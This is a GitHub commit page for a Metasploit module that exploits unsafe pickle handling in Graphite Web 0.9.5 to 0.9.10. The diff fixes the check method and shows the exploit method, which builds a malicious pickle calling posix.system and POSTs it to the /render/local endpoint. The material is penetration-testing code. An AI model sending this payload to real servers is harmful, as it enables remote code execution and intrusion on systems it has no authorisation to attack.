Skip to content

Commit 42f774a

Browse files
author
jvazquez-r7
committed
Fix check method
1 parent 533d98b commit 42f774a

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

modules/exploits/unix/webapp/graphite_pickle_exec.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,11 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Graphite Web Unsafe Pickle Handling',
1818
'Description' => %q{
19-
This module exploits a remote code execution vulnerability in the
20-
pickle handling of the rendering code in the Graphite Web project between
21-
version 0.9.5 and 0.9.10(both included).
19+
This module exploits a remote code execution vulnerability in the pickle
20+
handling of the rendering code in the Graphite Web project between version
21+
0.9.5 and 0.9.10(both included).
2222
},
23-
'Author' =>
23+
'Author' =>
2424
[
2525
'Charlie Eriksen' # Initial discovery and exploit
2626
],
@@ -60,19 +60,21 @@ def check
6060
'method' => 'POST'
6161
})
6262

63-
if response.code != 200
64-
return Exploit::CheckCode::Appears
63+
if response and response.code == 500
64+
return Exploit::CheckCode::Detected
6565
end
6666
return Exploit::CheckCode::Safe
6767
end
6868

6969
def exploit
7070
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
71+
72+
print_status("Sending exploit payload...")
73+
7174
response = send_request_cgi({
7275
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
7376
'method' => 'POST',
7477
'data' => data
7578
})
76-
print_status("Sent exploit payload")
7779
end
7880
end

0 commit comments

Comments
 (0)